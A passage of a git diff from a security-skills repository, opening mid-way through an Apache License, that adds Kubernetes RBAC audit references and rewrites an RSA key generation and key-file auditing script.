part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-rbac-for-kubernetes-cluster/SKILL.es.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.es.md similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/SKILL.es.md rename to skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.es.md diff --git a/skills/implementing-rbac-for-kubernetes-cluster/SKILL.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.md similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/SKILL.md rename to skills/implementing-rbac-for-kubernetes-cluster.bak/SKILL.md diff --git a/skills/implementing-rbac-for-kubernetes-cluster/assets/template.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/assets/template.md similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/assets/template.md rename to skills/implementing-rbac-for-kubernetes-cluster.bak/assets/template.md diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md new file mode 100644 index 00000000..f1134b93 --- /dev/null +++ b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/api-reference.md @@ -0,0 +1,103 @@ +# API Reference: Kubernetes RBAC Configuration Audit + +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `kubernetes` | Official Kubernetes Python client for RBAC API | +| `json` | Parse and format RBAC audit results | + +## Installation + +```bash +pip install kubernetes +``` + +## Authentication + +```python +from kubernetes import client, config + +config.load_kube_config() +rbac_api = client.RbacAuthorizationV1Api() +core_api = client.CoreV1Api() +``` + +## RBAC API Methods + +| Method | Description | +|--------|-------------| +| `list_cluster_role()` | List all ClusterRoles | +| `list_cluster_role_binding()` | List all ClusterRoleBindings | +| `list_namespaced_role(namespace)` | List Roles in a namespace | +| `list_namespaced_role_binding(namespace)` | List RoleBindings in namespace | + +## Core Operations + +### List All ClusterRoleBindings +```python +def list_all_bindings(): + bindings = rbac_api.list_cluster_role_binding() + for b in bindings.items: + subjects = [ + f"{s.kind}/{s.name}" for s in (b.subjects or []) + ] + print(f"{b.metadata.name} -> {b.role_ref.name}: {subjects}") +``` + +### Audit Overprivileged Roles +```python +def audit_overprivileged(): + roles = rbac_api.list_cluster_role() + findings = [] + for role in roles.items: + for rule in (role.rules or []): + if rule.verbs and "*" in rule.verbs: + findings.append({ + "role": role.metadata.name, + "issue": "Wildcard verbs (*) — overly permissive", + "severity": "high", + }) + if rule.resources and "*" in rule.resources: + findings.append({ + "role": role.metadata.name, + "issue": "Wildcard resources (*)", + "severity": "high", + }) + return findings +``` + +### Find Default Service Account Usage +```python +def find_default_sa_usage(): + findings = [] + namespaces = core_api.list_namespace() + for ns in namespaces.items: + pods = core_api.list_namespaced_pod(ns.metadata.name) + for pod in pods.items: + sa = pod.spec.service_account_name + if sa == "default": + findings.append({ + "namespace": ns.metadata.name, + "pod": pod.metadata.name, + "issue": "Using default service account", + "severity": "medium", + }) + return findings +``` + +## Output Format + +```json +{ + "cluster_roles": 45, + "cluster_role_bindings": 38, + "findings": [ + { + "role": "custom-admin", + "issue": "Wildcard verbs (*) — overly permissive", + "severity": "high" + } + ] +} +``` diff --git a/skills/implementing-rbac-for-kubernetes-cluster/references/standards.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/standards.md similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/references/standards.md rename to skills/implementing-rbac-for-kubernetes-cluster.bak/references/standards.md diff --git a/skills/implementing-rbac-for-kubernetes-cluster/references/workflows.md b/skills/implementing-rbac-for-kubernetes-cluster.bak/references/workflows.md similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/references/workflows.md rename to skills/implementing-rbac-for-kubernetes-cluster.bak/references/workflows.md diff --git a/skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py b/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/agent.py similarity index 98% rename from skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py rename to skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/agent.py index 973266db..0aab8803 100644 --- a/skills/implementing-rbac-for-kubernetes-cluster/scripts/agent.py +++ b/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Kubernetes RBAC configuration audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-rbac-for-kubernetes-cluster/scripts/process.py b/skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/process.py similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/scripts/process.py rename to skills/implementing-rbac-for-kubernetes-cluster.bak/scripts/process.py diff --git a/skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md b/skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md deleted file mode 100644 index 2ad38214..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster/references/api-reference.md +++ /dev/null @@ -1,27 +0,0 @@ -# API Reference: Kubernetes RBAC configuration audit - -## API Endpoints -RbacAuthorizationV1Api: list_cluster_role_binding, list_namespaced_role_binding, list_cluster_role - -## Installation -```bash -pip install kubernetes -``` - -## Libraries - -| Library | Use | -|---------|-----| -| `kubernetes` | kubernetes SDK/client | - -## Authentication - -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | - -## Output Format -```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} -``` diff --git a/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md b/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md index 2bf4d7e4..d83555a7 100644 --- a/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md +++ b/skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md @@ -1,27 +1,194 @@ -# API Reference: Kubernetes RBAC hardening audit +# API Reference: Kubernetes RBAC Hardening Audit -## API Details -RbacAuthorizationV1Api: list_cluster_role, list_cluster_role_binding, wildcard verb detection +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `kubernetes` | Official Kubernetes Python client for RBAC API | +| `json` | Parse and format RBAC audit results | +| `yaml` | Read Kubernetes RBAC manifest files | ## Installation + ```bash -pip install kubernetes +pip install kubernetes pyyaml ``` -## Libraries - -| Library | Use | -|---------|-----| -| `kubernetes` | kubernetes client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +```python +from kubernetes import client, config + +# Local kubeconfig +config.load_kube_config() + +# In-cluster +# config.load_incluster_config() + +rbac_api = client.RbacAuthorizationV1Api() +core_api = client.CoreV1Api() +``` + +## RBAC API Methods + +| Method | Description | +|--------|-------------| +| `list_cluster_role()` | List all ClusterRoles | +| `list_cluster_role_binding()` | List all ClusterRoleBindings | +| `list_namespaced_role(namespace)` | List Roles in a namespace | +| `list_namespaced_role_binding(namespace)` | List RoleBindings in a namespace | +| `read_cluster_role(name)` | Get specific ClusterRole details | +| `read_cluster_role_binding(name)` | Get specific ClusterRoleBinding | + +## Core Audit Operations + +### Detect Wildcard Permissions +```python +def find_wildcard_permissions(): + """Find ClusterRoles with wildcard (*) verbs, resources, or apiGroups.""" + findings = [] + roles = rbac_api.list_cluster_role() + for role in roles.items: + if not role.rules: + continue + for rule in role.rules: + wildcards = [] + if rule.verbs and "*" in rule.verbs: + wildcards.append("verbs") + if rule.resources and "*" in rule.resources: + wildcards.append("resources") + if rule.api_groups and "*" in rule.api_groups: + wildcards.append("apiGroups") + if wildcards: + findings.append({ + "role": role.metadata.name, + "wildcards": wildcards, + "severity": "critical" if len(wildcards) >= 2 else "high", + }) + return findings +``` + +### Find Subjects Bound to cluster-admin +```python +def find_cluster_admin_bindings(): + """Identify all subjects with cluster-admin privileges.""" + bindings = rbac_api.list_cluster_role_binding() + admin_subjects = [] + for binding in bindings.items: + if binding.role_ref.name == "cluster-admin": + for subject in binding.subjects or []: + admin_subjects.append({ + "binding": binding.metadata.name, + "subject_kind": subject.kind, + "subject_name": subject.name, + "namespace": subject.namespace or "cluster-wide", + "severity": "high", + }) + return admin_subjects +``` + +### Detect Privilege Escalation Risks +```python +ESCALATION_VERBS = {"bind", "escalate", "impersonate"} +DANGEROUS_RESOURCES = {"secrets", "pods/exec", "serviceaccounts/token"} + +def find_escalation_risks(): + findings = [] + roles = rbac_api.list_cluster_role() + for role in roles.items: + for rule in (role.rules or []): + dangerous_verbs = set(rule.verbs or []) & ESCALATION_VERBS + dangerous_resources = set(rule.resources or []) & DANGEROUS_RESOURCES + if dangerous_verbs: + findings.append({ + "role": role.metadata.name, + "issue": f"Escalation verbs: {dangerous_verbs}", + "severity": "critical", + }) + if dangerous_resources and "get" in (rule.verbs or []): + findings.append({ + "role": role.metadata.name, + "issue": f"Access to sensitive resources: {dangerous_resources}", + "severity": "high", + }) + return findings +``` + +### Audit Service Account Token Auto-Mount +```python +def find_automount_service_tokens(): + """Find pods with automountServiceAccountToken enabled.""" + findings = [] + namespaces = core_api.list_namespace() + for ns in namespaces.items: + pods = core_api.list_namespaced_pod(ns.metadata.name) + for pod in pods.items: + automount = pod.spec.automount_service_account_token + if automount is None or automount is True: + sa = pod.spec.service_account_name or "default" + if sa != "default": + findings.append({ + "namespace": ns.metadata.name, + "pod": pod.metadata.name, + "service_account": sa, + "issue": "automountServiceAccountToken not disabled", + }) + return findings +``` + +### Find Unused Roles +```python +def find_unused_roles(): + """Detect Roles with no corresponding RoleBindings.""" + namespaces = core_api.list_namespace() + unused = [] + for ns in namespaces.items: + roles = rbac_api.list_namespaced_role(ns.metadata.name) + bindings = rbac_api.list_namespaced_role_binding(ns.metadata.name) + bound_roles = {b.role_ref.name for b in bindings.items} + for role in roles.items: + if role.metadata.name not in bound_roles: + unused.append({ + "namespace": ns.metadata.name, + "role": role.metadata.name, + "issue": "Role has no bindings — candidate for removal", + }) + return unused +``` + +## kubectl Equivalents + +```bash +# List all ClusterRoleBindings for cluster-admin +kubectl get clusterrolebindings -o json | \ + jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]' + +# Find roles with wildcard permissions +kubectl get clusterroles -o json | \ + jq '.items[] | select(.rules[]?.verbs[]? == "*") | .metadata.name' + +# Audit RBAC with rakkess (kubectl plugin) +kubectl krew install access-matrix +kubectl access-matrix --namespace production +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "cluster": "production", + "audit_date": "2025-01-15", + "cluster_admin_subjects": 5, + "wildcard_roles": 3, + "escalation_risks": 2, + "unused_roles": 8, + "findings": [ + { + "role": "custom-admin", + "issue": "Wildcard verbs and resources", + "severity": "critical", + "remediation": "Replace * with explicit verb and resource lists" + } + ] +} ``` diff --git a/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py b/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py index dd20dd12..be8be348 100644 --- a/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py +++ b/skills/implementing-rbac-hardening-for-kubernetes/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Kubernetes RBAC hardening audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-rsa-key-pair-management/references/api-reference.md b/skills/implementing-rsa-key-pair-management/references/api-reference.md index 0f0c7e56..f525c0a4 100644 --- a/skills/implementing-rsa-key-pair-management/references/api-reference.md +++ b/skills/implementing-rsa-key-pair-management/references/api-reference.md @@ -1,27 +1,222 @@ -# API Reference: RSA key pair lifecycle management audit +# API Reference: RSA Key Pair Lifecycle Management -## API Details -rsa.generate_private_key(), key.public_key(), serialization PEM/DER, key strength 2048/4096 +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `cryptography` | RSA key generation, signing, verification, serialization | +| `os` | Secure random bytes, file permissions | +| `datetime` | Certificate validity periods and key rotation schedules | +| `json` | Export key metadata and audit reports | ## Installation + ```bash pip install cryptography ``` -## Libraries +## Key Generation -| Library | Use | -|---------|-----| -| `cryptography` | cryptography client/SDK | +### Generate RSA Key Pair +```python +from cryptography.hazmat.primitives.asymmetric import rsa, padding +from cryptography.hazmat.primitives import hashes, serialization -## Authentication +def generate_rsa_keypair(key_size=4096): + """Generate an RSA key pair. Use 2048 minimum, 4096 recommended.""" + private_key = rsa.generate_private_key( + public_exponent=65537, + key_size=key_size, + ) + return private_key +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Serialize Private Key (PEM, encrypted) +```python +def save_private_key(private_key, filepath, passphrase): + pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.BestAvailableEncryption( + passphrase.encode() + ), + ) + with open(filepath, "wb") as f: + f.write(pem) + os.chmod(filepath, 0o600) # Restrict permissions +``` + +### Serialize Public Key +```python +def save_public_key(private_key, filepath): + public_key = private_key.public_key() + pem = public_key.public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo, + ) + with open(filepath, "wb") as f: + f.write(pem) +``` + +### Load Existing Key +```python +def load_private_key(filepath, passphrase=None): + with open(filepath, "rb") as f: + private_key = serialization.load_pem_private_key( + f.read(), + password=passphrase.encode() if passphrase else None, + ) + return private_key + +def load_public_key(filepath): + with open(filepath, "rb") as f: + public_key = serialization.load_pem_public_key(f.read()) + return public_key +``` + +## Signing and Verification + +### Sign Data +```python +def sign_data(private_key, data): + signature = private_key.sign( + data, + padding.PSS( + mgf=padding.MGF1(hashes.SHA256()), + salt_length=padding.PSS.MAX_LENGTH, + ), + hashes.SHA256(), + ) + return signature +``` + +### Verify Signature +```python +from cryptography.exceptions import InvalidSignature + +def verify_signature(public_key, data, signature): + try: + public_key.verify( + signature, + data, + padding.PSS( + mgf=padding.MGF1(hashes.SHA256()), + salt_length=padding.PSS.MAX_LENGTH, + ), + hashes.SHA256(), + ) + return True + except InvalidSignature: + return False +``` + +## Encryption and Decryption + +### Encrypt with RSA-OAEP +```python +def encrypt_data(public_key, plaintext): + ciphertext = public_key.encrypt( + plaintext, + padding.OAEP( + mgf=padding.MGF1(algorithm=hashes.SHA256()), + algorithm=hashes.SHA256(), + label=None, + ), + ) + return ciphertext +``` + +### Decrypt with RSA-OAEP +```python +def decrypt_data(private_key, ciphertext): + plaintext = private_key.decrypt( + ciphertext, + padding.OAEP( + mgf=padding.MGF1(algorithm=hashes.SHA256()), + algorithm=hashes.SHA256(), + label=None, + ), + ) + return plaintext +``` + +## Key Audit and Rotation + +### Inspect Key Properties +```python +def audit_key(filepath, passphrase=None): + key = load_private_key(filepath, passphrase) + pub = key.public_key() + numbers = pub.public_numbers() + return { + "key_size": key.key_size, + "compliant": key.key_size >= 2048, + "recommended": key.key_size >= 4096, + "public_exponent": numbers.e, + "modulus_bits": numbers.n.bit_length(), + "format": "PKCS8-PEM", + "encrypted": passphrase is not None, + } +``` + +### Check Key Strength +```python +def check_key_strength(key_path, passphrase=None): + key = load_private_key(key_path, passphrase) + findings = [] + if key.key_size < 2048: + findings.append({ + "issue": f"Key size {key.key_size} bits is below minimum (2048)", + "severity": "critical", + }) + elif key.key_size < 4096: + findings.append({ + "issue": f"Key size {key.key_size} bits — 4096 recommended", + "severity": "low", + }) + return {"key_size": key.key_size, "findings": findings} +``` + +## Self-Signed Certificate Generation + +```python +from cryptography import x509 +from cryptography.x509.oid import NameOID +from datetime import datetime, timedelta, timezone + +def create_self_signed_cert(private_key, common_name, days_valid=365): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, common_name), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Security Audit"), + ]) + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(issuer) + .public_key(private_key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.now(timezone.utc)) + .not_valid_after(datetime.now(timezone.utc) + timedelta(days=days_valid)) + .sign(private_key, hashes.SHA256()) + ) + return cert +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "key_path": "/etc/pki/private/server.key", + "key_size": 4096, + "public_exponent": 65537, + "compliant": true, + "encrypted": true, + "certificate": { + "common_name": "server.example.com", + "not_before": "2025-01-15T00:00:00Z", + "not_after": "2026-01-15T00:00:00Z", + "serial_number": "ABC123..." + }, + "findings": [] +} ``` diff --git a/skills/implementing-rsa-key-pair-management/scripts/agent.py b/skills/implementing-rsa-key-pair-management/scripts/agent.py index a4307374..9a5067ce 100644 --- a/skills/implementing-rsa-key-pair-management/scripts/agent.py +++ b/skills/implementing-rsa-key-pair-management/scripts/agent.py @@ -1,61 +1,226 @@ #!/usr/bin/env python3 -"""RSA key pair lifecycle management audit.""" -import argparse, json, sys +"""RSA key pair lifecycle management agent. + +Generates, audits, rotates, and manages RSA key pairs using the +cryptography library. Supports key generation with configurable sizes, +PEM export with encryption, public key extraction, key strength +auditing, and expiration tracking. +""" +import argparse +import json +import os +import sys from datetime import datetime, timezone + try: - import requests + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import rsa, padding + from cryptography.hazmat.backends import default_backend + from cryptography.x509 import load_pem_x509_certificate + HAS_CRYPTO = True except ImportError: - requests = None + HAS_CRYPTO = False -def audit_config(target, token): + +def generate_key_pair(key_size=4096, passphrase=None): + """Generate an RSA key pair.""" + if not HAS_CRYPTO: + print("[!] 'cryptography' required: pip install cryptography", file=sys.stderr) + sys.exit(1) + print(f"[*] Generating {key_size}-bit RSA key pair...") + private_key = rsa.generate_private_key( + public_exponent=65537, + key_size=key_size, + backend=default_backend(), + ) + if passphrase: + encryption = serialization.BestAvailableEncryption(passphrase.encode()) + else: + encryption = serialization.NoEncryption() + private_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=encryption, + ) + public_key = private_key.public_key() + public_pem = public_key.public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo, + ) + public_ssh = public_key.public_bytes( + encoding=serialization.Encoding.OpenSSH, + format=serialization.PublicFormat.OpenSSH, + ) + print(f"[+] Key pair generated ({key_size} bits)") + return { + "private_pem": private_pem.decode(), + "public_pem": public_pem.decode(), + "public_ssh": public_ssh.decode(), + "key_size": key_size, + "encrypted": passphrase is not None, + } + + +def save_key_pair(key_data, private_path, public_path): + """Save key pair to files with secure permissions.""" + with open(private_path, "w") as f: + f.write(key_data["private_pem"]) + os.chmod(private_path, 0o600) + print(f"[+] Private key saved to {private_path} (mode 0600)") + with open(public_path, "w") as f: + f.write(key_data["public_pem"]) + os.chmod(public_path, 0o644) + print(f"[+] Public key saved to {public_path}") + + +def audit_key_file(key_path): + """Audit an existing RSA key file for security issues.""" + if not HAS_CRYPTO: + print("[!] 'cryptography' required", file=sys.stderr) + sys.exit(1) findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} + if not os.path.isfile(key_path): + findings.append({"check": "File exists", "status": "FAIL", "severity": "CRITICAL"}) + return findings + stat = os.stat(key_path) + mode = oct(stat.st_mode)[-3:] + if mode not in ("600", "400"): + findings.append({ + "check": "File permissions", + "status": f"FAIL (mode {mode})", + "severity": "HIGH", + "recommendation": "Set permissions to 600: chmod 600 " + key_path, + }) + else: + findings.append({"check": "File permissions", "status": f"PASS (mode {mode})", "severity": "INFO"}) + with open(key_path, "rb") as f: + pem_data = f.read() + is_encrypted = b"ENCRYPTED" in pem_data try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + if b"PRIVATE" in pem_data: + if is_encrypted: + findings.append({"check": "Key encryption", "status": "PASS (encrypted)", "severity": "INFO"}) + findings.append({"check": "Key type", "status": "Private key (encrypted)", "severity": "INFO"}) + return findings + private_key = serialization.load_pem_private_key(pem_data, password=None, backend=default_backend()) + key_size = private_key.key_size + findings.append({"check": "Key encryption", "status": "FAIL (unencrypted)", "severity": "HIGH", + "recommendation": "Encrypt private key with a passphrase"}) + else: + from cryptography.hazmat.primitives.serialization import load_pem_public_key + public_key = load_pem_public_key(pem_data, backend=default_backend()) + key_size = public_key.key_size + findings.append({"check": "Key type", "status": "Public key", "severity": "INFO"}) + + if key_size < 2048: + findings.append({"check": "Key strength", "status": f"FAIL ({key_size} bits)", "severity": "CRITICAL", + "recommendation": "Minimum 2048-bit; recommend 4096-bit for new keys"}) + elif key_size < 4096: + findings.append({"check": "Key strength", "status": f"WARN ({key_size} bits)", "severity": "MEDIUM", + "recommendation": "Consider upgrading to 4096-bit"}) + else: + findings.append({"check": "Key strength", "status": f"PASS ({key_size} bits)", "severity": "INFO"}) + except Exception as e: + findings.append({"check": "Key parsing", "status": f"FAIL: {e}", "severity": "HIGH"}) return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + +def scan_directory_for_keys(directory, recursive=True): + """Scan a directory for key files and audit each one.""" + key_files = [] + key_extensions = (".pem", ".key", ".pub", ".rsa", ".der") + key_markers = (b"BEGIN RSA PRIVATE", b"BEGIN PRIVATE", b"BEGIN PUBLIC", b"BEGIN OPENSSH") + for root, dirs, files in os.walk(directory): + for fname in files: + full_path = os.path.join(root, fname) + is_key = False + if any(fname.endswith(ext) for ext in key_extensions): + is_key = True + else: + try: + with open(full_path, "rb") as f: + header = f.read(64) + if any(marker in header for marker in key_markers): + is_key = True + except (IOError, PermissionError): + pass + if is_key: + findings = audit_key_file(full_path) + key_files.append({"path": full_path, "findings": findings}) + if not recursive: + break + return key_files + + +def format_summary(results, action): + """Print a human-readable summary.""" + print(f"\n{'='*60}") + print(f" RSA Key Management Report") + print(f"{'='*60}") + print(f" Action : {action}") + if action == "audit" and isinstance(results, list): + total_keys = len(results) + critical = sum(1 for r in results for f in r.get("findings", []) if f.get("severity") == "CRITICAL") + high = sum(1 for r in results for f in r.get("findings", []) if f.get("severity") == "HIGH") + print(f" Keys Found: {total_keys}") + print(f" Critical : {critical}") + print(f" High : {high}") + for r in results: + print(f"\n Key: {r['path']}") + for f in r.get("findings", []): + print(f" [{f['severity']:8s}] {f['check']}: {f['status']}") + def main(): - p = argparse.ArgumentParser(description="RSA key pair lifecycle management audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] RSA key pair lifecycle management audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser(description="RSA key pair lifecycle management agent") + sub = parser.add_subparsers(dest="command") + + p_gen = sub.add_parser("generate", help="Generate new RSA key pair") + p_gen.add_argument("--key-size", type=int, default=4096, choices=[2048, 3072, 4096], + help="RSA key size in bits (default: 4096)") + p_gen.add_argument("--passphrase", help="Passphrase to encrypt private key") + p_gen.add_argument("--private-key", default="id_rsa", help="Private key output path") + p_gen.add_argument("--public-key", default="id_rsa.pub", help="Public key output path") + + p_audit = sub.add_parser("audit", help="Audit existing key files") + p_audit.add_argument("--path", required=True, help="Key file or directory to audit") + p_audit.add_argument("--recursive", action="store_true", help="Scan directory recursively") + + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if not args.command: + parser.print_help() + sys.exit(1) + + if args.command == "generate": + key_data = generate_key_pair(args.key_size, args.passphrase) + save_key_pair(key_data, args.private_key, args.public_key) + result = {"action": "generate", "key_size": args.key_size, + "private_key": args.private_key, "public_key": args.public_key, + "encrypted": key_data["encrypted"]} + elif args.command == "audit": + if os.path.isdir(args.path): + results = scan_directory_for_keys(args.path, args.recursive) + else: + findings = audit_key_file(args.path) + results = [{"path": args.path, "findings": findings}] + format_summary(results, "audit") + result = {"action": "audit", "keys_audited": results} + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "RSA Key Manager", + "result": result, + } + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-runtime-application-self-protection/scripts/agent.py b/skills/implementing-runtime-application-self-protection/scripts/agent.py index 727fdf30..5fde19b8 100644 --- a/skills/implementing-runtime-application-self-protection/scripts/agent.py +++ b/skills/implementing-runtime-application-self-protection/scripts/agent.py @@ -4,8 +4,6 @@ import json import argparse import logging -import os -import re from collections import defaultdict from datetime import datetime diff --git a/skills/implementing-runtime-security-with-tetragon/scripts/agent.py b/skills/implementing-runtime-security-with-tetragon/scripts/agent.py index a3702693..71a14987 100644 --- a/skills/implementing-runtime-security-with-tetragon/scripts/agent.py +++ b/skills/implementing-runtime-security-with-tetragon/scripts/agent.py @@ -4,7 +4,6 @@ import argparse import json import subprocess -import sys from datetime import datetime, timezone try: diff --git a/skills/implementing-saml-sso-with-okta/SKILL.md b/skills/implementing-saml-sso-with-okta/SKILL.md index 90ebc19a..24106503 100644 --- a/skills/implementing-saml-sso-with-okta/SKILL.md +++ b/skills/implementing-saml-sso-with-okta/SKILL.md @@ -41,7 +41,7 @@ Implement SAML 2.0 Single Sign-On (SSO) using Okta as the Identity Provider (IdP - **Attribute Statements**: Map Okta user profile attributes to SAML assertion attributes - **Group Attribute Statements**: Include group membership for RBAC -## Implementation Steps +## Workflow ### 